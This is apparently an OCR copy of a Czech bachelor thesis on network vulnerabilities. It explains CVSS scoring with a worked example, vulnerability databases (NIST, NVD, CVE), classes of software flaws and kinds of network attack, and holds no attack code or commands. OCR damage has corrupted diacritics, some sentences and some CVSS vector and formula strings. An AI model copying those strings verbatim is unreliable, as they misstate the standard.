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Abstrakt

Tato prace si dava za cil dukladné seznameni s databazemi, které¢ obsahuji popisy zranitelnych koda a
zranitelnych aplikaci; naslednou implementaci nastroje na jejich automatické vyhledavani a ukladani
do lokalni databaze.

Prace je rozdélena na dvé Casti a to teoretickou a praktickou.

V teoretické Casti jsou rozebrany dosavadné zjisténé poznatky a podklady pro vyzkum a naslednou
implementaci. Podrobn¢ jsou rozepsany zranitelnosti a mozn¢ sitové utoky.

V praktické ¢asti je popsana vlastni implementace nastroje a jeho pouZiti v praxi.

Abstract

The main goal of this thesis is to deal with databases of vulnerable code bases and vulnerable
applications, and to implement a tool for autonomous search and saving data from those databases to a
local one.

The thesis is divided into theoretical and practical parts.

The theoretical part deals with my current knowledge of the main topic and creates a foundation for
the implementation. Various kinds of vulnerabilities and network attacks are described in detail in this
part.

The practical part describes implementation of the tool and its real use.
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1 Uvod

Tato prace dokumentuje teoretickou pfipravu a naslednou programovou realizaci bakalarské prace s
nazvem "Analyza vybranych sitovych zranitelnosti". Zadani bakalarské prace vzniklo na zaklad¢
potfeby vytvoreni nastroje, ktery by byl schopen vyhledat a ulozit zranitelné kody a aplikace, které
tyto kody obsahuji.

V soucasné dobg je na vzestupu zajem o internetovou bezpecnost a to ze strany organizaci, ale
1 béznych uzivatelii. Naopak snahou mozného utoénika je najit takové diry v kodu, kterymi by pronikl
do pouzivanych systémi, a to za ucelem ziskani informaci, nebo kvuli napachani Skody. Nastésti
existuji volné pristupné databaze, které shromazd’uji informace o aplikacich, jez obsahuji zranitelné
kody.

Cilem prace je tedy dukladné seznameni s problematikou sitovych zranitelnosti, moznych
utokti a zasahti do systému, prostudovani databaze zranitelnosti pod spravou NIST, vytvofeni
automatizovan¢ho nastroje pro stahovani a nasledné¢ ukladani zranitelnych koda a aplikaci do
databaze. Nedilnou soucasti a hlavni naplni je analyza dvou vybranych zranitelnosti a jejich rozbor za
pouziti ASNM metrik.



2 Vymezeni zakladnich pojmiu

Sitové zranitelnosti (NetWork Security Vulnerabilities)
Jedna se o chybu nebo slabé misto v systému, které itocnik muze vyuzit ke svému
prospéchu. Mluvime o nedostatecném zabezpeceni sitové architektury.

Sitovy utok (NetWork Attack)
Tento typ utoku se snazi vyuzit slabych mist opera¢niho systému, pripadné jincho SW
nachazejiciho se na PC.

Skodlivy kéd (Malicious Code)
Jedna se o kdd, ktery zptisobuje naruseni zabezpeceni z divodu poskozeni pocitacového
systému. Ochrana muze byt v podob¢ antivirového programu, pficemz ani tato moznost
neni stoprocentni.

Zranitelna aplikace
Aplikace obsahujici zranitelny kod. Seznam je zvefejnén v databazich volné€ pristupnych
na internetu (napt. NVD). Dochazi k aktualizacim a opravé ,.chybného* kddu.

NIST (National Institute of Standarts and Technology)
Narodni institut standardt a technologie — jedna se o laboratof standardi méfeni pod
vladou USA, konkrétn¢ pod ministerstvem pro obchod.

NVD (National Vulnerability Database)
Jedna se o americké vladni ulozist¢ dat, pracujici offline, které obsahuje bezpecnostni
kontrolni seznamy, bezpecnost spojenou se SW chybami, jména produkti a metriky
dopadu. Vyuziva SCAP.

Exploit
Mluvime o programu, datech nebo i sekvenci prikazi, které vyuZzivaji chyby v programu
za ucelem ziskani prospéchu. Obvyklé je ovladnuti ciziho pocitace a nasledna instalace
nezadouciho softwaru.

ASNM metriky (Advanced Security Network Metrics for Attack Vector Description)
Pokrocilé bezpecnostni sitove metriky pro popis vektort utoki. Soubor metrik formujici
behavioralni signatury.

Behavioralni analyza sitového provozu
Systém, ktery monitoruje sitovy provoz. Pii zjisténi odliSnosti od standardu provede
opatfeni, které bylo pfedem definované. Zalezi pouze na konkrétni konfiguraci pravidel,
jak zareaguje. Muze jit pouze o notifikace administratora, nebo 1 o zamezeni komunikace.



3 Teoreticka cast

Nez bude predstaven samotny nastroj a poznatky ziskané z analyzy vybranych sitovych zranitelnosti,
je tieba uvést zakladni technologie, které jsou nezbytné pro navrh prace. Detaily je mozné nalézt pod
prislusnymi nazvy kapitol. Cilem je seznameni s danou problematikou a usnadnéni pfi vytvareni
navrhu nastroje.

3.1 Zranitelnost

Pojem zranitelnost, ktery byl opisovan v predchozi sekci, navazuje na dalsi zakladni pojmy
z terminologie sitové bezpecnosti. Prostfedky (fyzické nebo logické) mohou mit jednu nebo vice
zranitelnosti, které se daji zneuzit ve prospéch utocnika. Je to chyba, a taky slabé misto v architekture
systému.
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Obrazek 3.1: Prinik do systému skrze zranitelny kod

Vetsina systému je v n¢jakém sméru zranitelna. To ale neznamena, Ze by se nemély pouZzivat.
Ne kazda hrozba konéi utokem a zaroveri ne kazdy utok je uspésny. To uz zavisi na stupni
zranitelnosti, sile utoku a efektivit¢ protiopatfeni. Dulezity je hlavné  vysledek.
“Pokud benefit pro utocnika je maly, a pritom aktivita potrebna k realizaci utoku je tézkd, tak se
zranitelnost daného prvku da tolerovat.” "

Pokud je ale proveditelnost utoku jednoducha a vysledek kriticky, tak muze byt naruseno
soukromi, integrita a dostupnost prostfedki organizace nebo jinych pfipojenych skupin (zakaznici,
dodavatel¢).

Tohle bezpecnostni riziko existuje v pfipadech, kdy podminky, kapacity nebo udalosti
povoluji zneuziti zranitelnosti. MuZou byt , zamérné“ nebo ,,nahodné®. Tzn. kdyz nékdo umysiné
vyuzije zranitelnosti k naruSeni bezpecnosti nebo se v pripadé zdvady pocitace/operacniho systému
otevie moznost vyuziti jiné zranitelnosti.”

Aby se proaktivn¢ dalo predejit casti téchto rizik, je potfebné pravideln¢ podrobit systém
bezpecnostnimu auditu. Jde o nezdvislou kontrolu a analyzu systémovych zaznamu a aktivit za iicelem
hodnocenti systémové kontroly”. Na zakladg tohoto hodnoceni se pak vytvoii investigace a nasledné
opatfeni, nebo navrhnou zmény, které pomohou dosahnout schvalenych norem a bezpecnostnich
politik.



3.1.1 Kategorizace zranitelnosti

Zranitelnosti se klasifikuji podle typu aktiva, ke kterému patii:

Hardwarova rizika
- dle vlhkosti

- dle prasnosti
- dle znedisténi
- dle nechranéného skladovani

Softwarova rizika
- nedostate¢né testovani

- nedostatecny audit

Sit'ova rizika
- nedostatecna ochrana komunikaéni linky

- nedostatecné zabezpeceni sitové architektury

Persondlni rizika
- neadekvatni proces pfijimani

- neadekvatni znalost bezpecnosti

Lokacéni rizika
- okoli s rizikem povodni

- nespolehlivy zdroj energie

Organizacni rizika
- nepravidelnost auditu
- chybgjici kontinualni plan

- nedostatecné zabezpeceni

Kazda z vySe uvedenych kategorii muze pfi nedostatku pozomosti mit dalekosahlé nasledky. Od
znehodnoceni vybaveni aZz po nenavratnou ztratu informaci ¢i publikovani soukromych dat na
vefejnych mistech. Aby se tak nestalo, je potfeba vénovat pozornost kazdému moznému aspektu pii
projektovani a navrhovani feSeni, od lokace az po personal.



3.1.2 Hodnoceni zranitelnosti

Z hlediska IT managementu je potieba identifikovat a hodnotit zranitelnosti napfi¢c mnoha raznymi
platformami SW a HW. Musi se uvést jejich priorita a nasledné opravit ty, které mohou zpusobit
nejveétsi Skodu. Z diavodu velkého mnozstvi objevenych zranitelnosti bylo potfebné vytvorit systém
hodnoceni, ktery je schopen predat pokazdé spravny vysledek a adresovat rizika. Existuje nékolik
riznych  systtmu hodnoceni - jak komerc¢nich, tak 1 nekomerénich organizaci.

e CERT/CC - Vydava numerické skore od 0 po 180 a hodnoti i faktory jako napf. riziko
infrastruktury a jaké podminky jsou potfebné ke zneuziti zranitelnosti.

e SANS - analyza zranitelnosti, ktera bere do uvahy existenci slabiny 1 ve vychozi
konfiguraci, u klienta nebo u serverového systému.

e MSPSS - systém hodnoceni od Microsoft-u se snazi odrazet realny dopad kazdé
zranitelnosti a jeji naro¢nost na zneuZiti.

e CVSS - "Common Vulnerability Scoring System" je otevieny ramec metrik hodnoceni
a adresovani zranitelnosti.

Krom¢ CVSS maji vyse uvedené systémy nevyhodu v tom, Ze predpokladaji stejny dopad zranitelnosti
na kazdou individualni organizaci.

Naopak CVSS poskytuje objektivni pohled z hlediska:

- Standardizovanych hodnoceni zranitelnosti — organizace normalizuje rizika napfi¢ v§emi
softwarovymi a hardwarovymi platformami - muze tak udé¢lit prioritu a vynutit pouzivani
siln€j$i bezpecnostni politiky.

- Otevienosti — kazdy uzivatel miize vidét charakteristiky zranitelnosti a kroky k jeji eliminaci,
také parametry hodnoceni a rozdily mezi kazdym hodnocenim.

- Priorita rizik — vyhodnoti se environmentalni skore, zranitelnost se stava kontextualni. To
znamena, ze kazdy uzivatel bude znat dopad této zranitelnosti na organizaci a v jakém vztahu
je k ostatnim.

CVSS je sklada ze 3 metrickych skupin: Zakladni, Temporalni a Enviromentalni. Kazda z téchto
skupin obsahuje seznam metrik:

Zakladni skupina Temporélni skupina Environmentalni skupina

4 N r Y 4 N
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Obrazek 3.2: Seznam metrik CVSS




Cilem zakladni CVSS skupiny je definovat a komunikovat fundamentalni charakteristiky zranitelnosti.
Objektivni pristup je poskytnout uzivatelim jasnou a intuitivni reprezentaci kazdé zranitelnosti.
Mohou pak piijmout temporalni a environmentalni skupiny, aby presnéji reflektovali rizika unikatni
pro jejich organizaci a prostredi. To jim pomaha ucinit adekvatni rozhodnuti k omezeni rizik.

V zéakladnich metrikach se pfifadi ¢islo, rovnice pfidéli hodnoceni v rozsahu od 1 do 10 a
nasledné vytvori vektor. Tento vektor predstavuje otevienou charakteristiku ramce. Je to textovy
fetézec obsahujici hodnotu prifazenou kazdé metrice. Pouziva se k vysvétleni pfesné¢ho postupu
kalkulace hodnoceni pro zranitelnost. Proto by mél byt vektor vzdy zobrazen s hodnocenim. Je li
potfebné upravit zékladni hodnoceni, miize se Temporalnim a Enviromentalnim metrikam pfifadit
dodatecna hodnota, ktera upravi vysledny kontext, a tim uréi pfesnéjsi popis rizika pro uzivatelské
prostfedi. Neni to ale nevyhnutné. Zakladni skore a vector v mnoha pfipadech vyhovuji.
Obecn¢ se zakladni a temporalni metriky specifikuji pfes vendory a pomoci analytiki zranitelnosti.
Hodnoceni udavaji také vyvojari softwaru, protoze maji lepSi informace o charakteristikach
zranitelnosti, nez uzivatelé. Naopak enviromentalni hodnoceni vychazi pfimo od uzivateli, protoze
mohou nejlépe zhodnotit potencialni dopad na jejich prostredi.

=
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Obrazek 3.3: CVSS metriky a rovnice
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KaZzda metrika vektoru se sklada ze zkraceného jména metriky, za kterym nasleduje “:*, ze zkracené
hodnoty metriky v hranatych zavorkach. Vektor uvadi tyto metriky v predefinovaném portadi,
s pouzitim “/* znaku pro oddé¢leni. V pripade, Ze se temporalni nebo environmentalni metrika
nepouzije, prifadi se ji hodnota , ND* (not defined).

Zakladni AV:[L,AN]J/AC:[H,M,L])/Au:[M,S,N]/C:[N,P,CJ/I:[N,P,C]/A:[N,P,C]

Temporalni E:[U,POC,F,HND]/RL:[OF,TF,W,U,ND]/RC:[UC,UR,C,ND]

Environmentalni CDP:[N,L,LM,MH,H,ND]/TD:[N,L,M,H,ND]/CR:[L,M,H,ND}/
IR:[L.M,H,ND]/AR:[L,M,H,ND]

(8)

Hodnoty metrik se fadi dle nasledovné tabulky ™ a vzorec pak vyhodnoti koneéné skore.

Pristupovy Komplexita Dopad na Dopad na Dopad na
vektor pfistupu Autentifikace soukromi Integritu Dostupnost
L=| 0.395 H= 0.35 M= 0.45 N= 0.0 N= 0.0 N= 0.0
A=| 0.646 | M= 0.61 S= 0.56 P=| 0.275 P=| 0.275 | P= | 0.275
N= 1.0 L= 0.71 N=| 0704 | C=| 0.660 | C=| 0.660 | C= | 0.660
Vzorec k vypoctu:

BaseScore =round_to_1_decimal(((0.6*Impact)+(0.4*Exploitability)-1.5)*f(Impact))
Impact = 10.41*(1-(1-ConfImpact)*(1-Integlmpact)*(1-Availlmpact))
Exploitability = 20* AccessVector*AccessComplexity* Authentication

f(impact)= 0 if Impact=0, 1.176 otherwise



Priklad hodnoceni zranitelnosti:®

V roce 2003 byla objevena zranitelnost v ASN.1 knihovnach operaénich systémi od MS. Uspésné
zneuziti této zranitelnosti mélo za vysledek preteéeni bufferu, které utoénikovi umoznil spustit
libovolny koéd s administrativnim pravem. Tato vzdalené zneuzitelna zranitelnost nevyzaduje
autentifikaci, proto Pristupovy Vektor je ,Network™ (sitovy) a Autentifikace je ,.None* (Zadna).
Komplexita pfistupu je ,,Low* (nizka), protoze neni potiebny zvlastni pfistup ani specialni podminky
aby byl pokus o zneuziti uspé$ny. Kazda z metrik dopadu je ,,Complete* (uplna), nebot” je tu moznost
kompletni kompromitace sysému.

Zakladni vektor této zranitelnosti je tim padem: AV:N/AC:L/Au:N/C:C/T:C/A:C
Zakladni metrika Hodnoceni Skore

Access Vector [Network] (1.00)

Access Complexity [Low] 0.71)

Authentication [None] (0.704)

Confidentiality Impact [Complete] (0.66)

Integrity Impact [Complete] (0.66)

Availability Impact [Complete] (0.66)

Impact = 10.41*(1-(0.34*0.34*0.34)) == 10.0

Exploitability = 20*0.71*0.704*1 == 10.0

f(Impact) = 1.176

BaseScore =((0.6*10.0)+(0.4*10.0)1.5)*1.176 == 10.0

Spolecné tyto metriky tvori maximalni skore s hodnotou 10.0

CVSS jako celek patfi a je spravovan ,,Forum of Incident Response and Security Teams — FIRST*. Je
ale zcela zdarma (standardné otevieny systém). Jedinym pozadavkem je poskytnout popis a
dokumentaci o tom, jak se vyhodnotilo dan¢ skore a pouZity vektor, aby i jini uzivatelé tento proces
pochopili.”

V roce 2004 byla publikovana verze CVSSvl1, ktera ale nebyla subjektem zajmu mnoha organizaci.

V roce 2005 zacal vyvoj druhé generace — CVSSv2, ktera byla predstavena v roce 2007. Momentalné
je to aktualni verze a na dalS$i generaci se zaCalo pracovat v roce 2012.
Treti generace byla predstavena teprve nedavno (12.12.2014), ale zatim neni oficialné pouzita.
Novinkou ma byt presné stanoveny vysledek v momentu, kdy nastane dopad na soukromi, integritu
nebo dostupnost - na rozdil od aktualni verze, kde se mohl vysledek vyhodnotit v libovolné fazi.

3.1.3 Priciny vyskytu zranitelnosti

Profesionalové v oblasti pocitatoveé bezpecnosti a vyzkumu v prubéhu historie zjistili, Ze publikovani,

vvvvvv

systému. Programdtori tak maji pristup k informacim o znamych zranitelnostech a mohou tak predejit
chybdm z minulosti, kde se vyskytly opakované bezpecnosmi diry.”’

Pri¢inou vyskytu zranitelnosti muze byt jeden prvek, nebo kombinace nasledujicich prvki:

- Komplexita — velké rozsahlé¢ systémy maji zvySenou pravdépodobnost vyskytu chyb a
nepredpokladanych pfistupovych bodu

- Obeznamenost — pouzivani bézného, znamého kddu, softwaru, opera¢niho systému nebo
hardwaru zvysSuje pravdépodobnost, Ze utocnik zna nebo muze najit zptisob nebo nastroj na
realizaci utoku

- Konektivita — zvySené¢ mnozstvi fyzickych propojeni, porti nebo protokold, predstavuje dalsi
moznosti nezadouciho pfistupu do systému



- Sprava hesel — uZivatel¢ pouzivaji jednoducha hesla, ktera mohou byt odhalena, tzv. “brute-
force” utokem. Casto také ukladaji své heslo lokalne v pocitaci, kde je pfistupné jinym
programem, nebo pouzivaji stejné heslo pro vice programu nebo stranek

- Fundamentalni chyby ve struktufe Operacniho systému -designer systému pouziva sub-
optimalni politiku na spravu programu a uzivatelu. Nekteré¢ operacni systémy povoluji v
zakladu vSem programiim a vSem uzivatelim kompletni pfistup k pocitaci, tim padem i viram
a malwaru povoluji spustit pfikaz jako administrator

- Prohlizeni Webovych stranek — nckteré stranky obsahuji Spyware a Adware, ktery se
automaticky nainstaluje do pocitace a mize pak posilat osobni informace tieti strané

- Softwarovy “bug” —programator nevédomé necha v programu chybu a utoc¢nik ji pak muze
vyuzit k nepredpokladanému chovani programu

- Nesledovany input od uzivatele — program predpoklada spravnost vlozené informace od
uzivatele. VloZeny kod pak muze vykonat interni piikaz (Buffer overflow, SQL injection)"”

- Nepouceni se z minulych chyb — i v nové verzi programu/protokolu se opakuji chyby puvodni
verze. Napt. IPv4 a IPv6

Po ditkladném zvdzZeni se ukazuje, Ze nejslabsim clankem bezpecnosti informacniho systému je clovek,

uzivatel, operator nebo designer. Proto se tieba i socidlni inZenyrstvi stava soucasti bezpecnostnich
. o (11

projekti.""

3.14 Dusledky zranitelnosti

Dopad poruseni bezpecnosti maze byt kriticky. Faktem ale zastava, Ze i kdyZ vyss§i management ¢asto
vi o zranitelnosti systému a aplikaci, nepodnikne zadné kroky ke snizeni nebo odstranéni rizik. Proto
je bezpecnostni audit Informacnich systémt nejlep§im zptasobem jak obeznamit vedeni o
odpovédnosti.

Penetracni testy jsou formou verifikace slabych c¢lanku a protiopatieni, které spolecnost
pouziva. Vybrany nezavisly ¢lovék znamy jako ,White Hat hacker™ se pokou$i zneuzit aktiva
organizace a informacniho systému s cilem zjistit uroven zabezpeceni a naro¢nost ukonu potiebnych
ke kompromitaci IT bezpecnosti. Vyhodnoti pak vysledky a navrhne feSeni pro jejich minimalizaci
nebo odstranéni.

®Jednim z hlavnich konceptii IT bezpeénosti je princip hluboké ochrany, tzn. implementovat
systém, ktery dokaze:

- predejit zneuziti

- detekovat a zabranit atoku
- najit a dopadnout uto¢niky

Pokud takovy systém neni na mist¢, muze jednoduchy sitovy utok zpusobit vyfazeni jednoho nebo
vice zafizeni, doCasné nebo 1 trvale.

Hlavnim dusledkem je také ztrata nebo odcizeni internich informaci nebo soukromych dat
spole¢nosti (adresy zaméstnanci, e-mailove adresy, telefonni ¢isla, Cisla acétu atd.).

ISO/IEC 27002 je standardem informacéni bezpecnosti, ktery byl publikovan Mezinarodni
Organizaci pro Standardizaci (ISO) a Mezinarodni Komisi Elektrotechnika (IEC) v 90. letech a
s revizi vroce 2005 a 2013. Poskytuje doporucené zpusoby spravy informacénich systému a jejich
zodpovédné pouzivani.

Strukturovany seznam kriterii pro hodnoceni bezpeénosti pocitacu je taky ITSEC (Information
Technology Security Evaluation Criteria). Na zdkladé uirovné soukromi, které ma systém chrdnit, je
podroben Penetracnim testim a hodnoceni.



Oba tyto standardy si urCuji vlastni Grovné hodnoceni. Je to numericka hodnota, ktera je
prifazena subjektu (hodnocenému systému) podle vysledku testt, kde O znamena nejmensi uroven

vvvvv

3.1.5 Odhaleni zranitelnosti

V roce 2010 se spole¢nosti jako Google, Microsoft a Rapid7 vyjadrily, jak budou v budoucnosti
pokracovat v odhalovani zranitelnosti.

V ramci koordinovaného odhaleni se nejdfive upozomni vyrobce (vendor) o potencialni
zranitelnosti, 2 tydny pfed tim, nez se informace pfeda CERT-u. Timto zpisobem ma vyrobce ¢as na
vydani bezpeénostniho poudeni.'”

Uplné odhaleni pak nastane, az se publikuji viechny detaily zranitelnosti, s piihlédnutim na to
aby vyrobce chybu ¢im dfiv opravil.

Tento zpusob publikovani zranitelnosti je tématem mnoha debat. Jde o politiku publikovani
informaci o zranitelnostech bez omezeni, a jak rychle to jde informovat vefejnost o jejich existenci.
Volny pfistup k témto informacim pomaha uzivatelim a spravciim pochopit rizika a podniknout
protiopatfeni k jejich minimalizaci. Také dava mozZnost zakaznikiim tlacit na dodavatele a vyvojare
k opravé jejich produkti.

- Pokud zakaznik nevi o zranitelnosti, nema divod poZadovat zaplaty a vyvojafi neciti
ckonomicky tlak, aby tyto zranitelnosti odstranili

- Pokud spravce sité nevi o dife v systému, nemuize spravné vyhodnotit rizika a vykonat kroky
k odstranéni

- Utocnik, ktery se o zranitelnosti dozvi dfiv, ma takto vetsi ¢asovy horizont na jeho zneuziti

Nékteri zastavaji nazor, Ze informace o zranitelnosti by neméla byt pristupna verejnosti, ale jen
partneriim vazanym smlouvou o odhaleni. Vyvojari jsou také ndzoru, Ze verejné publikovdni
zranitelnosti pomdhd pravé iitocnilkiim.™’

Dutivodem, pro¢ néktefi odptirci nazoru o nepublikovani zranitelnosti argumentuji, je také fakt,
ze znalost zpusobu zneuziti nové zranitelnosti ma velkou hodnotu a je mozné vyuziti k vlastnimu
profitu, nebo prodeji nepratelské organizaci. Proto by méla tato znalost byt pfedana dal, s cilem zvysit
bezpecnost systému.

Spolec¢nost MITRE Corporation spravuje seznam odhalenych zranitelnosti v systému CVE —
Common Vulnerabilities and Exposures, kde jim je pridéleno hodnoceni (skére) pomoci CVSS —
Common Vulnerability Scoring System. Cilem je prevence. Aby designefi a programatofi nevkladali
do svych produkti zranitelnosti.

3.1.6 Softwarové zranitelnosti

- Deviace bezpecnosti paméti

o Preteceni vyrovndvaci paméti — anomalie programu, kde pfi zapisovani dat do
mezipaméti prekroc¢i hranice paméti a zaéne prepisovat nevyhrazenou pamét. Je to
zpusobeno vstupem, ktery obsahuje Skodlivy kod manipulujici s operacemi programu.
Programovaci jazyky casto spojované s touto zranitelnosti jsou C a C++.'?

o Houpajici ukazatele — jde o techniku, pfi které¢ se uchovava v mezipaméti odkaz na
nespravny objekt, ¢asto mrtvé stranky, nebo smazané lokace.
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Chyba kontroly vstupu

o Utok formdatem fetézce — V minulosti se tato zranitelnost povaZovala za
nevyuzitelnou. Formaty fetézce ale mohou zpusobit pad programu nebo spusSténi
Skodlivého kodu. Formatovaci tokeny se pouzivaji k extrakci dat z mezipaméti nebo
jiné lokace pomoci formatovaci funkce (napf. printf())."”

o SOL injekce — Jedna se o popularni techniku zneuzivani zranitelnosti. Skodlivy kod se
vlozi do vstupu databaze nebo jin¢ datové orientované aplikace za ucelem nepovolené
extrakce dat.

o Injekce kodu — vlozenim kodu do programu se muze zménit jeho chovani. Dobrym
prikladem jsou Cervy. Zpusobuji ztratu nebo korupci dat, zamezeni pfistupu nebo
dokonce pievzeti kontroly nad po¢itadem."™

o Injekce e-mailu — webova stranka obsahuje formular, je mozné ho upravit tak, aby
misto ulozeni dat z formulafe do paméti poslal zpravu i tisicim pfijemcu s upravenou

: x (19

strukturou a to i anonymng."”

o Prichod adresare — cilem je prikaz aplikaci, aby zpfistupnila soubor, ktery by nem¢l
byt normaln¢ pristupny. Tedy dostat se do vyssiho adresare nez je povoleno.

o Merzistrankové scripty — typicky se vyskytuje u webovych aplikaci. Jde o spusténi
scripti na strané klienta. Cilem je obejit pristupovou politiku a kontrolu. Do roku
2007 piedstavovala tato zranitelnost piiblizne 87% viech utoki na webstranky.*”

o Injekce hlavicky HTTP — Obecna kategorie zranitelnosti, ktera také obsahuje
Rozdéleni odpoveédi http (Response splitting). Hlavicky se dynamicky generuji na
zaklad¢ uzivatelského vstupu.

Zaména privilegii
o Mezistrankova vyroba pozadavkii — na rozdil od mezistrankovych skriptu, kde se
pozornost dava pristupové kontrole uzivatele, tady se spolé¢ha na autorizaci uzivatele
dle jeho prohlizece a prihlasovacich udaju ulozenych v paméti browseru.

o Clickjacking — readresovani uzivatelské¢ho rozhrani — technika skodlivého kliknuti na
objekt, ktery uzivatel povazuje za bezpecny, ale adresuje na potencialné nebezpecnou
lokaci. Utoénik tak muze ziskat soukromé informace nebo spustit nezadouci
kod/program.

o FTP skok — uto¢nik si otevie moznost pouzit FTP prikaz na pozadavek pfistupu
k dals$im nepfistupnym portim cilové stanice. Dnes uz je tato zranitelnost oSetfena
tim, Zze FTP server je nastaveny v zakladu na odmitani téchto pozadavka.

Eskalace privilegii — je chybou designu operacnich systémi, kde je moznost otevfit pristup
k prostfedkum, které¢ jsou jinak chranéné aplikaci nebo uzivatelem. Vysledkem pak je
aplikace, ktera ma vétsi prava jak vyvojaf nebo administrator predpoklada.®”

Podminka zavodu — v softwarové terminologii se jedna o aplikaci, ktera pracuje na zakladé
Casovani a sekvence procesu a vlaken. Pokud je toto Casovani naruseno, aplikace muze
produkovat nespravna data.
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3.2 Databaze zranitelnosti

3.2.1 Narodni Institut pro Standardizaci a Technologie

NIST byl zaloZzen v roce 1901 a je nyni soucasti Ministerstva obchodu USA. Jako soucast svého
poslani NIST dodava pramyslu, vladé a akademickym ucelim vice nez 1300 Standardnich
Referenénich Manualu (SRM). Tyto artefakty jsou certifikovany jako majici specifické vlastnosti nebo
obsah komponent, pouzivanych jako etalony pro méfici zafizeni, kontrolu jakosti méfitka pro
pramyslové procesy a experimentalni kontrolni vzorky.

Divize NIST-u Computer Security Division (CSD) provadi vyzkum, vyvoj a Siroké
spektrum aktivit, které jsou nezbytné pro poskytnuti standardii, smérnic, mechanismu, nastroju, metrik
a postupt na ochranu informaci a informac¢nich systéma.

Bezpecnostni programy pod kontrolou NIST-u jsou zaméfeny na praci s vladou a
pramyslem pro vytvoreni ochrany systému a siti prostfednictvim vyvoje, spravy a propagace nastroje
pro hodnoceni bezpecnosti, techniky a sluzeb. Nezavislé testovani treti stranou ujiStuje zakaznika /
uzivatele, ze vyrobek spliiuje specifikace NIST. Tyto normy mohou byt slozit¢ a nékolik konfiguraci
musi byt testovano pro kazdou slozku a vlastnost, aby zajistily, Ze systém splituje pozadavky.

Security Automation Content Protocol (SCAP) je metoda pro pouziti konkrétnich norem,
které umozni automatizovanou spravu slabych mist, méfeni a vyhodnoceni dodrzovani zasad. SCAP je
syntézou interoperabilnich podminek odvozené¢ z komunitnich napadi. Komunita Automatizace
Bezpecnosti zajistuje nejsirsi mozné spektrum pripadi pouziti, coz se odrazi ve funkénosti SCAP.
Bezpecnostni agenda NIST-u je $§irSi nez aplikace pro spravu zranitelnost. Mnoho ruznych
bezpecnostnich aktivit a disciplin muze tézit ze standardizovanych vyrazi a podavani zprav.

3.2.2 National Vulnerability Database (NVD).

Vladni ulozisté¢ dat SCAP je National Vulnerability Database (NVD). Tato data umoziuji
automatizovat spravu slabych mist, méfeni zabezpeceni a dodrzovani ptedpisi. NVD obsahuje
databaze bezpecnostnich kontrolnich seznamii, tykajicich se softwarovych nedostatkd, chybnych
konfiguraci, nazvy produktu a metriky dopadi. NVD poskytuje CVSS skore pro témér v§echny znamé
zranitelnosti.

3.2.3 Common Vulnerability Scoring System (CVSS)

Poskytuje otevieny ramec pro sdélovani informaci o vlastnostech a dopadech na zranitelnosti na
Informacni systém. Jeho kvantitativni model zajiStuje opakovatelné presné méfeni a zarovern
umoziuje uzivatelim vidét podkladové charakteristiky zranitelnosti, kter¢ byly pouzZity pro
generovani skore. CVSS se tak vyuziva jako standardni méfici systém pro pramyslova odvétvi,
organizace a vlady, které potiebuji presné a konzistentni vysledky dopada zranitelnosti. Dvé bézné
pouziti CVSS jsou prioritizace sanace zranitelnosti a vypocet zavaznosti zranitelnosti objevenych na
systémech.

NVD podporuje zejména 2 standardni verze pro v§echny CVE zranitelnosti. NVD poskytuje
CVSS "zakladni skore ", kter¢ predstavuje vrozené vlastnosti kazd¢ zranitelnosti. Soucasné poskytuje
kalkulacku CVSS skore, ktera umozni pridat Casové udaje a pocitat skore v oblasti zivotniho prostredi
(skore prizpusobi tak, aby odrazelo dopad této chyby zabezpeceni na organizace).
Vyznamnym meznikem pro zajisténi kompatibility byla formalizace procesu kompatibility CVE v
roce 2003, ktera vedla k probihajici prezentaci "osvédceni o CVE kompatibilit¢" tém organizacim,
které dosahuji "oficialni" status kompatibility pro své vyrobky nebo sluzby. CVE je nyni
prumyslovym standardem pro zranitelnosti a jejich identifikace. CVE poskytuji referenéni body pro
vyménu dat tak, aby bezpecnostni produkty a sluzby mohly mezi sebou komunikovat. CVE
identifikatory také poskytuji zakladnu pro vyhodnoceni pokryti nastroju a sluzeb, takze uzivatelé
mohou zjistit, jaké nastroje jsou nejucinngjsi a vhodné pro potieby jejich organizace.
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33 Sit'ové atoky

IETF (Internet Engineering Task Force) definuje sitovy utok jako agresivni pokus obejit bezpecnostni
sluzby a porusit bezpeénostni politiku systému na zakladé inteligentni hrozby.*? Dale specifikuje, Ze
se jedna o jakoukoli skodlivou aktivitu s cilem shromazdovat, znehodnotit, zakazat nebo degradovat
prostfedky informacniho systému nebo samotné informace spravované systémem.

ZvySujici se zavislost moderni spole¢nosti na informacnich a pocitaCovych sitich (ve
vefejnych 1 soukromych sektorech) vedlo k zavedeni nového pojmu — Kyberutok. Rozsifuje definici
sitového ttoku a to ve znéni:

. Utok pres kyberprostor, zaméreny na soukromé nebo podnikové prostredky v kyberprostoru s cilem
naruseni, odhaleni, znicent nebo ovlddnutt pocitacové infrastruktury a integrity dat. >’

Utok muze piijit z vnitini infrastruktury sité (zaméstnanec, jina osoba s piistupem k vnitini siti), a
nebo z venkovni sit¢ (Internet).

Podle zakladni kategorizace sitovych utoku je délime na
- Pasivni — utok s cilem zjistit a vyuzit informace ze systému bez zasahu do jeho prostredku

- Aktivni — pokus o zménu systémovych prostfedka s cilem ovlivnit jejich funkei

Kazda organizace by méla uskutecnit kroky k detekei, klasifikaci a spravé bezpecnostnich incidentt.
Prvnim logickym krokem by byl Pldn reakce na incidenty a eventualné i Krizovy Stdb sitové
bezpecnosti.
Za ucelem detekce utoku je mozné ucinit protiopatfeni na organizacni, proceduralni a technické
urovni. Prikladem muze byt pravé Krizovy Stab sitové bezpecnosti, Bezpecnostni audit informacnich
technologii a nebo Systém detekce prunikil.
Existuje jiz n¢kolik velkych spolecnosti, které¢ pracuji na minimalizaci dusleki kyberatoku. Nabizi
produkty a sluzby zaméfené na:

- Studium vSech moznych kategorii utoka

- Vydavani knih a ¢lanku s touto tematikou
- Zjistovani a opravu zranitelnosti

- Hodnoceni zavaznosti

- Vyvoj aaplikaci protiopatfeni

- Vytvoreni kontingencniho planu s cilem reakce na bezpecnostni udalosti

3.3.1 Typy utoku

Pasivni — monitorovani a analyza stavu systému nebo sit€¢ s cilem vyuzit informace. Dochazi
k sledovani provozu a aktivit systému.
- Odposlouchdvani (wiretapping) — prikladem mize byt pfipojeni na cizi WIFI sit” pomoci
nést(rzg)jﬁ jako Aircrack-ng anebo Kismet a nasledné odchytavani packetu prenasenych v této
siti.

- Skenovani portii — proces, pii kterém se posila klientsky pozadavek na seznam porti hostitele
s cilem nalezeni aktivniho portu. Tato aktivita pro systém skodliva, ale pouziva se k zjisténi
bezpecnostnich zranitelnosti a jejich nasledné vyuziti.

